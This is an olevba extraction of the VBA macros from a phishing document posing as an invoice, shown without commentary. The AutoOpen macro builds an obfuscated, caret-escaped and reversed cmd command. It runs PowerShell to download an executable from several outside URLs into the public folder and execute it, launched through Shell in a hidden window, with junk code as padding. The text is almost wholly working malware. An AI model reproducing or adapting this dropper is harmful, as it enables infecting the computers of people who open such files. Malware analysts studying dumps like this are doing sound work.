malicious macro source code dump from olevba

vba_streams.vba

'olevba 0.54dev4 - http://decalage.info/python/oletools
'Flags        Filename
'-----------------------------------------------------------------
'OLE:MAS-HB-- Invoice_No_2804552.doc
'====================================================================
'FILE: Invoice_No_2804552.doc
'Type: OLE
'--------------------------------------------------------------------
'VBA MACRO izXzCqwwWUCwhk.cls
'in file: Invoice_No_2804552.doc - OLE stream: u'Macros/VBA/izXzCqwwWUCwhk'
'- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - 
Sub AutoOpen()
   If WsGQFM Or 2 Then
tBFjh = "TI"
End If
   If AOJzp <= 2 Then
UjLOU = "M"
End If
   If qMmVN <= LkijE Then
UYfkP = "OwvpULWEZkUQ"
End If
SjonJLuoL (KeyString(wwTLriZs + lfKnf + 10 + 7 + 50 + CdBUtfI + iNPLT) + LkwPL + qNIXIW + KeyString(BdpGivaC + ufzLc + 12 + 8 + 57 + tXzCjRS + KGlIA) + DTqpj + vNtBMCjurWl + fWWSlvV + azJobQRV)
   If lbQzb Xor wCJnfX Then
fmuVTW = "ULNGXfUK"
End If
   If OJcvIm Eqv HDNhv Then
qSQwGh = "PHdmscltmFlnhI"
End If
   If kRpji And cFWQvW Then
FclmsY = "PijB"
End If
   If GPfus >= imhUU Then
UWtFzu = "ZEtIIOXLrkzD"
End If
End Sub
'--------------------------------------------------------------------
'VBA MACRO caHIKoBPD.bas
'in file: Invoice_No_2804552.doc - OLE stream: u'Macros/VBA/caHIKoBPD'
'- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - 
Function DTqpj()
wjPzoWkSo = "d /V^:^ON/" + "C" + """" + "^s^e^t lN=^ ^ ^" + "  ^ ^ ^   ^ ^ ^"
wKGNtc = " ^  ^ ^ ^ ^}^" + "}^{^hc^t^ac^}^;^k^" + "a^er^b^;^ir^j" + "^$^ ^m^etI^-^e^k^ovn" + "^I;)^ir^j^$^ ^," + "^fB^J^$(^e^l^"
LIJaYBX = "i^F^d^a^o^ln^wo^D^." + "^i^w^Y^$^{^yr^t" + "^{)^B^Kj^$ n^" + "i^ ^f^B^J^$(^hc^a^e" + "r^o^f;^'^e^x^e^.^'^+" + "^U^t^L^$^+^'^\'"
AMjHaSCGI = "+c^i^l^b^u^p" + "^:vne^$^=^ir^" + "j^$^;^'^4^9" + "^3^'^ ^=^ ^U^t^"
kamHIjcmQ = "L^$^;)^'^@^'" + "(^t^i^l^p^S^." + "^'^Q/^ur^.^e" + "n^g^i^s^e^dn^a^l^.n^" + "a^m^i^d^.^w^w^w//^:" + "^p^t^t^h@yn/^t^"
If UFdAQ <= iVhiFr Then
HZBft = "fdKRTHclIi"
End If
   If KJHCqM Or QKCVC Then
RsiqR = "O"
End If
lYGYPUN = "i^.e^l^o^ic^s^i" + "v^e^l^l^ed^on^" + "i^dra^i^g^l^i" + "//^:^p^t^t^h^@^g"
DTqpj = wjPzoWkSo + wKGNtc + LIJaYBX + AMjHaSCGI + kamHIjcmQ + lYGYPUN
   If wwtood Xor wWADt Then
wiwUf = "PwHu"
End If
   If oJtop Eqv 17 Then
nVZvj = "SX"
End If
   If HApCY > 4 Then
vkloVn = "KFkEomKfI"
End If
End Function
Function vNtBMCjurWl()
inRtnqGO = "/^k^u.^oc^.^s^ec^" + "ivr^e^s^k^e^p^sn" + "^i//^:^p^t^t^h^" + "@C/^m^oc^.^l^a^" + "g^o^f^j//^:^p^"
WBMdqom = "t^t^h@^XC^s^" + "U/^e^b^.^yn" + "^a^j//^:^p^t^t^" + "h^'^=^B^K^j^$^;" + "^tn^e^i^lC^b"
hluFDhvu = "^e^W^.^t^eN^" + " ^tc^e^j^b^o^" + "-^w^en^=^i^" + "w^Y^$^ ^l^l" + "^e^h^sr^e^w^o^p&&"
EBYlwaaJo = "^f^or /^L " + "%^p ^in (^3^4^9^;^-^" + "1^;^0)^d^o ^s^e^" + "t ^l^I=!^l^I!!lN:" + "~%^p,1!&&^i^f %^p ^e"
If nJNsrE > mpQWVc Then
Whbmzj = "KDdzpFwH"
End If
   If NBbuSh Eqv zMjPs Then
KmzRo = "uwaR"
End If
sjiiN = "^q^u ^0 c^a^l^" + "l %^l^I:^~^-^3^5" + "^0%" + """" + ""
vNtBMCjurWl = inRtnqGO + WBMdqom + hluFDhvu + EBYlwaaJo + sjiiN
   If wPpqCR Xor 16 Then
MTiCa = "RdwR"
End If
   If qDiXwF Xor ckFfu Then
bpGwM = "oUBNcG"
End If
   If Bwiilc <= iYDwiW Then
UwXiJ = "XzzA"
End If
End Function
'--------------------------------------------------------------------
'VBA MACRO viiwhaUAKGfpC.bas
'in file: Invoice_No_2804552.doc - OLE stream: u'Macros/VBA/viiwhaUAKGfpC'
'- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Function SjonJLuoL(RGYjoAZnsmE As String)
Const QrQBzLuD = 623250762 - 623250762
   If VwcuN > JznWwY Then
bFOjBh = "P"
End If
   If LThwa >= mXbHsT Then
mIdGY = "KLcvNiBQG"
End If
Shell# RGYjoAZnsmE, QrQBzLuD
   If DhaRbj And jLAwWQ Then
IBcaYa = "jdM"
End If
   If UPZWj Or cKold Then
jwQpU = "NFi"
End If
   If zofcY Eqv 4 Then
UDOiD = "aJo"
End If
End Function